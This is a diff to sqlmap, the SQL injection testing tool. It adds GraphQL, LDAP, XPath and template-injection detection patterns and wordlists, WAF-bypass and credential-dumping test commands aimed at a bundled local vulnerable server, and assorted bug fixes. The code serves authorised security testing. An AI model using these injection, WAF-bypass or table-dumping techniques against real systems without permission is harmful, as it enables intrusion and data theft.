+GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query")
+
+# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error
+# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique)
+GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts",
+    "account", "accounts", "profile", "product", "products", "order", "orders", "item", "items",
+    "customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser")
+GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search",
+    "email", "input", "password", "key", "filter", "slug", "title", "uid")
+
+# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the
+# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their
+# fields/arguments/inputFields with type chains, directives, and deprecation metadata.
+GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap {
+  __schema {
+    queryType { name }
+    mutationType { name }
+    subscriptionType { name }
+    directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } }
+    types {
+      kind
+      name
+      fields(includeDeprecated: true) {
+        name
+        args {
+          name
+          defaultValue
+          type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
+        }
+        type { kind name ofType { kind name ofType { kind name } } }
+      }
+      inputFields {
+        name
+        defaultValue
+        type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
+      }
+      enumValues(includeDeprecated: true) { name }
+      specifiedByURL
+    }
+  }
+}"""
+
+# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse,
+# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based
+# detection inside the GraphQL engine.
+GRAPHQL_PARSE_ERRORS = (
+    r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"',
+    r"\bSyntax Error:\s*[^\"]",
+    r"\bExpected Name,\s*found\b",
+    r"\bUnexpected\s+<EOF>\b",
+)
+GRAPHQL_VALIDATION_ERRORS = (
+    r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"',
+    r"\bCannot query field\s+\"[^\"]+\"\s+on type\s+\"[^\"]+\"",
+    r"\bUnknown argument\s+\"[^\"]+\"\s+on field\s+\"[^\"]+\"",
+    r"\bField\s+\"[^\"]+\"\s+argument\s+\"[^\"]+\"\s+of type\s+\"[^\"]+\"\s+is required\b",
+    r"\bVariable\s+\"\$[^\"]+\"\s+got invalid value\b",
+    r"\bExpected type\s+[^,]+,\s*found\b",
+    r"\bDid you mean\s+\"[^\"]+\"\b",
+)
+GRAPHQL_APQ_ERRORS = (
+    r"\bPersistedQueryNotFound\b",
+    r"\bPersistedQueryNotSupported\b",
+)
+GRAPHQL_RUNTIME_ERRORS = (
+    r"\bGraphQL\s+(?:resolver\s+)?error\b",
+)
+GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS)
+
+# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against
+# HTTP response bodies). Each tuple is (backend_name, regex_fragment).
+LDAP_ERROR_SIGNATURES = (
+    ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"),
+    ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"),
+    ("Microsoft Active Directory", r"80090308:\s*LdapErr"),
+    ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"),
+    ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"),
+    ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"),
+    ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"),
+    ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"),
+    ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"),
+    ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"),
+    ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"),
+    ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"),
+)
+
+# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising
+# that an error response originates from an LDAP back-end rather than a generic HTTP 500
+LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES)
+
+# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison
+LDAP_CHAR_MIN = 0x20
+LDAP_CHAR_MAX = 0x7e
+
+# Upper bound for the value-length search during LDAP blind extraction
+LDAP_MAX_LENGTH = 256
+
+# Maximum number of directory entries enumerated during LDAP blind dumping
+LDAP_MAX_RECORDS = 20
+
+# Attributes that definitively identify the backend vendor when probed on the RootDSE or
+# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend).
+LDAP_FINGERPRINT_ATTRIBUTES = (
+    ("objectGUID", None, "Microsoft Active Directory"),
+    ("vendorName", "OpenLDAP", "OpenLDAP"),
+    ("vendorName", "Apache Software Foundation", "ApacheDS"),
+    ("vendorName", "Oracle Corporation", "Oracle Directory Server"),
+    ("vendorName", "Red Hat", "389 Directory Server"),
+)
+
+# XPath error signatures per parser implementation for error-based detection and
+# fingerprinting (matched against HTTP response bodies). Each tuple is
+# (backend_name, regex_fragment).
+XPATH_ERROR_SIGNATURES = (
+    ("Java JAXP / Xalan", r"(?:javax\.xml\.(?:xpath\.XPathExpressionException|transform\.Transformer(?:Configuration)?Exception)|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath|org\.xml\.sax\.SAX(?:Parse)?Exception)"),
+    ("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"),
+    ("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"),
+    ("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST|XTDE)\d{4}:"),
+    (".NET XPathNavigator", r"System\.Xml\.(?:XPath\.XPathException|XmlException)"),
+    (".NET XPathNavigator", r"Expression must evaluate to a node-set"),
+    (".NET XPathNavigator", r"has an invalid (?:token|qualified name)"),
+    ("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"),
+    ("lxml / libxml2", r"(?:XPath error|Invalid (?:expression|predicate))"),
+    ("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"),
+    ("PHP SimpleXML / DOMXPath", r"Invalid expression|xmlXPathEval"),
+    ("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"),
+    ("Saxon (standalone)", r"Static error\(s\) in query"),
+    ("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"),
+    ("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"),
+    ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
+    ("eXist", r"exerr:ERROR"),
+    ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
+    ("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"),
+    ("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
+)
+
+XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES)
+
+# Printable-ASCII codepoint bounds bisected during XPath blind character extraction
+XPATH_CHAR_MIN = 0x20
+XPATH_CHAR_MAX = 0x7e
+
+# Maximum tree depth for recursive XML walking during XPath blind extraction
+XPATH_MAX_DEPTH = 32
+
+# Upper bound for the value-length search during XPath blind extraction
+XPATH_MAX_LENGTH = 256
+
+# SSTI error signatures per template engine for detection and fingerprinting.
+# Each tuple is (engine_name, regex_fragment).
+SSTI_ERROR_SIGNATURES = (
+    ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"),
+    ("Twig", r"Twig[\\_]Error|Twig[\\_]Environment|Unknown (?:filter|function|test|tag)"),
+    ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"),
+    ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"),
+    ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"),
+    ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"),
+    ("Pug/Jade", r"pug|jade|ParseError"),
+    ("Handlebars", r"handlebars|Handlebars|Parse error on line"),
+    ("Generic SSTI", r"template.*?(?:error|syntax|exception)"),
+)
+
+SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
+
+# Upper bound for SSTI value extraction (reserved for future use)
+SSTI_MAX_LENGTH = 256
+
 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 
@@ -776,10 +1077,16 @@ MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024
 # Maximum response total page size (trimmed if larger)
 MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
 
+# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled
+KEEPALIVE_MAX_REQUESTS = 1000
+
+# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled
+KEEPALIVE_IDLE_TIMEOUT = 30
+
 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
 MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
 
-# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), identYwaf, htmlParser, etc.)
+# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), htmlParser, etc.)
 HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024
 
 # Maximum (multi-threaded) length of entry in bisection algorithm
@@ -819,7 +1126,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type", "Invalid conversion")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type", "Invalid conversion")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -833,14 +1140,23 @@ LIMITED_ROWS_TEST_NUMBER = 15
 # Default adapter to use for bottle server
 RESTAPI_DEFAULT_ADAPTER = "wsgiref"
 
-# Default REST-JSON API server listen address
+# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version.
+# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response),
+# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes.
+# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI
+# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes.
+# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape
+# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added).
+RESTAPI_VERSION = "2.0.0"
+
+# Default REST API server listen address
 RESTAPI_DEFAULT_ADDRESS = "127.0.0.1"
 
-# Default REST-JSON API server listen port
+# Default REST API server listen port
 RESTAPI_DEFAULT_PORT = 8775
 
-# Unsupported options by REST-JSON API server
-RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard")
+# Unsupported options by REST API server
+RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson")
 
 # Use "Supplementary Private Use Area-A"
 INVALID_UNICODE_PRIVATE_AREA = False
@@ -964,14 +1280,19 @@ for key, value in os.environ.items():
         _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
         if _ in globals():
             original = globals()[_]
-            if isinstance(original, int):
+            if isinstance(original, bool):
+                globals()[_] = value.lower() in ('1', 'true')
+            elif isinstance(original, int):
                 try:
                     globals()[_] = int(value)
                 except ValueError:
                     pass
-            elif isinstance(original, bool):
-                globals()[_] = value.lower() in ('1', 'true')
+            elif isinstance(original, float):
+                try:
+                    globals()[_] = float(value)
+                except ValueError:
+                    pass
             elif isinstance(original, (list, tuple)):
-                globals()[_] = [__.strip() for __ in _.split(',')]
+                globals()[_] = [__.strip() for __ in value.split(',')]
             else:
                 globals()[_] = value

lib/core/shell.py

@@ -40,6 +40,9 @@ try:
 except:
     readline._readline = None
 
+_atexitRegistered = False
+_activeCompletion = None
+
 def readlineAvailable():
     """
     Check if the readline is available. By default
@@ -148,4 +151,13 @@ def autoCompletion(completion=None, os=None, commands=None):
         readline.parse_and_bind("tab: complete")
 
     loadHistory(completion)
-    atexit.register(saveHistory, completion)
+
+    # Note: readline keeps a single global in-memory history; loadHistory() above swaps it to the
+    # currently active shell. Registering a fresh atexit handler per call would make every shell
+    # write that one global buffer to its own path at exit, clobbering the others. Instead register
+    # a single handler that saves only the shell active at exit.
+    global _atexitRegistered, _activeCompletion
+    _activeCompletion = completion
+    if not _atexitRegistered:
+        atexit.register(lambda: saveHistory(_activeCompletion))
+        _atexitRegistered = True

lib/core/subprocessng.py

@@ -199,4 +199,9 @@ def send_all(p, data):
         sent = p.send(data)
         if not isinstance(sent, int):
             break
+        if sent == 0:
+            # Note: POSIX send() returns 0 when the child's stdin pipe is not currently writable;
+            # back off briefly instead of busy-spinning at 100% CPU until the child drains it
+            time.sleep(0.01)
+            continue
         data = buffer(data[sent:])

lib/core/target.py

@@ -412,7 +412,7 @@ def _setRequestParams():
         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
+        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)
@@ -453,6 +453,14 @@ def _setHashDB():
                 errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex)
                 raise SqlmapFilePathException(errMsg)
 
+        for suffix in ("-shm", "-wal"):
+            leftover = conf.hashDBFile + suffix
+            if os.path.exists(leftover):
+                try:
+                    os.remove(leftover)
+                except OSError:
+                    pass
+
     conf.hashDB = HashDB(conf.hashDBFile)
 
 def _resumeHashDBValues():
@@ -465,7 +473,9 @@ def _resumeHashDBValues():
     kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns
     kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
     kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
-    kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
+    # Note: the value is stored as text ("True"/"False"); coerce back to bool, otherwise a resumed
+    # "False" is a truthy string and would wrongly mark xp_cmdshell as available
+    kb.xpCmdshellAvailable = (hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) == str(True)) or kb.xpCmdshellAvailable
 
     kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
     if isNumPosStrValue(kb.errorChunkLength):
@@ -611,7 +621,8 @@ def _createFilesDir():
     if not any((conf.fileRead, conf.commonFiles)):
         return
 
-    conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
+    # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)
+    conf.filePath = paths.SQLMAP_FILES_PATH % normalizeUnicode(getUnicode(conf.hostname))
 
     if not os.path.isdir(conf.filePath):
         try:
@@ -633,7 +644,9 @@ def _createDumpDir():
     if not conf.dumpTable and not conf.dumpAll and not conf.search:
         return
 
-    conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname)
+    # Note: normalize the hostname the same way _createTargetDirs() builds conf.outputPath, so a
+    # non-ASCII (IDN) target keeps its dump under the same per-host tree as the session/log/target.txt
+    conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, normalizeUnicode(getUnicode(conf.hostname)))
 
     if not os.path.isdir(conf.dumpPath):
         try:

lib/core/testing.py

@@ -6,12 +6,15 @@ See the file 'LICENSE' for copying permission
 """
 
 import doctest
+import json
 import logging
 import os
 import random
 import re
+import shutil
 import socket
 import sqlite3
+import subprocess
 import sys
 import tempfile
 import threading
@@ -20,17 +23,23 @@ import time
 from extra.vulnserver import vulnserver
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import getSafeExString
 from lib.core.common import randomInt
 from lib.core.common import randomStr
 from lib.core.common import shellExec
 from lib.core.compat import round
+from lib.core.compat import xrange
 from lib.core.convert import encodeBase64
+from lib.core.convert import getBytes
+from lib.core.convert import getText
+from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.data import queries
 from lib.core.patch import unisonRandom
 from lib.core.settings import IS_WIN
+from lib.core.settings import RESTAPI_VERSION
 
 def vulnTest():
     """
@@ -48,9 +57,16 @@ def vulnTest():
         ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
         ("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)),
         ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
+        ("-u \"<url>&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")),   # JSON-response detection via the structure-aware oracle (no --string hint)
+        ("-u <url> --data=\"security_level=1\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")),   # automatic WAF-bypass: request-fingerprint dimension (a non-scanner User-Agent, applied up-front, restores detection)
+        ("-u <url> --data=\"security_level=2\" -p id --flush-session --technique=B --banner", ("bypassed the WAF/IPS by using tamper script", "reproduced manually with switch '--random-agent' and tamper script", "Type: boolean-based blind", "banner: '3.")),   # automatic WAF-bypass: SQL-tamper dimension (structural substitution) on top of the non-scanner User-Agent
+        ("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")),   # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
+        ("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")),   # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
+        ("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")),   # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
+        ("-u <url> -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")),   # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
         ("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
         ("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
-        ("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
+        ("-l <log> --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
         ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
         ("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
         ("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)),
@@ -70,8 +86,14 @@ def vulnTest():
         ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
         ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
         ("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+        ("-u <url> --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")),   # keyset/seek dump via the SQLite rowid cursor
         ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")),
         ("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
+        ("-u \"<base>nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")),   # NoSQL (MongoDB) operator-injection detection + blind regexp extraction
+        ("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")),   # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
+        ("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")),   # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
+        ("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")),   # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
+        ("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")),   # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
         ("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
         ("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
         ("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
@@ -79,6 +101,34 @@ def vulnTest():
         ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
     )
 
+    # The vulnserver's XPath endpoint renders with lxml and its SSTI endpoint with jinja2; where those
+    # optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip
+    # just those entries instead of failing the whole run - the rest of the suite is unaffected.
+    try:
+        __import__("lxml")
+    except ImportError:
+        TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0])
+        logger.warning("skipping the XPath vuln-test entry ('lxml' not available)")
+    try:
+        __import__("jinja2")
+    except ImportError:
+        TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0])
+        logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)")
+
+    # --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change:
+    # the needle is matched case-insensitively against each entry's command line and its expected
+    # checks (e.g. '--vuln-test --test-filter=ssti' runs only the SSTI entry).
+    def _entryMatches(entry, needle):
+        needle = needle.lower()
+        return needle in entry[0].lower() or any(needle in getText(_).lower() for _ in entry[1])
+
+    if conf.get("testFilter"):
+        TESTS = tuple(_ for _ in TESTS if _entryMatches(_, conf.testFilter))
+        logger.info("'--test-filter' selected %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
+    if conf.get("testSkip"):
+        TESTS = tuple(_ for _ in TESTS if not _entryMatches(_, conf.testSkip))
+        logger.info("'--test-skip' left %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
+
     retVal = True
     count = 0
     cleanups = []
@@ -197,8 +247,11 @@ def vulnTest():
         if "<tmpfile>" in cmd:
             handle, tmp = tempfile.mkstemp()
             os.close(handle)
+            cleanups.append(tmp)
             cmd = cmd.replace("<tmpfile>", tmp)
 
+        os.environ["SQLMAP_UNSAFE_EVAL"] = '1'
+
         output = shellExec(cmd)
 
         if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
@@ -220,6 +273,161 @@ def vulnTest():
         except:
             pass
 
+    try:
+        shutil.rmtree(tmpdir)
+    except:
+        pass
+
+    return retVal
+
+def apiTest():
+    """
+    Runs a basic live test of the REST API: launches the server in a separate process
+    ('sqlmapapi.py -s') and drives the control-plane endpoints with an HTTP client - a real
+    server + client round-trip, without launching an actual scan. A separate process (rather
+    than an in-process thread) isolates the single-threaded server from the client's GIL and
+    from sqlmap's global HTTP machinery, which otherwise makes the round-trip flaky.
+    """
+
+    retVal = True
+
+    # pick a free port the same way vulnTest() does
+    while True:
+        address, port = "127.0.0.1", random.randint(10000, 65535)
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            if s.connect_ex((address, port)):
+                break
+            else:
+                time.sleep(1)
+        finally:
+            s.close()
+
+    username, password = "test", "test"
+    apipath = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmapapi.py"))
+
+    try:
+        devnull = subprocess.DEVNULL
+    except AttributeError:
+        devnull = open(os.devnull, "wb")
+
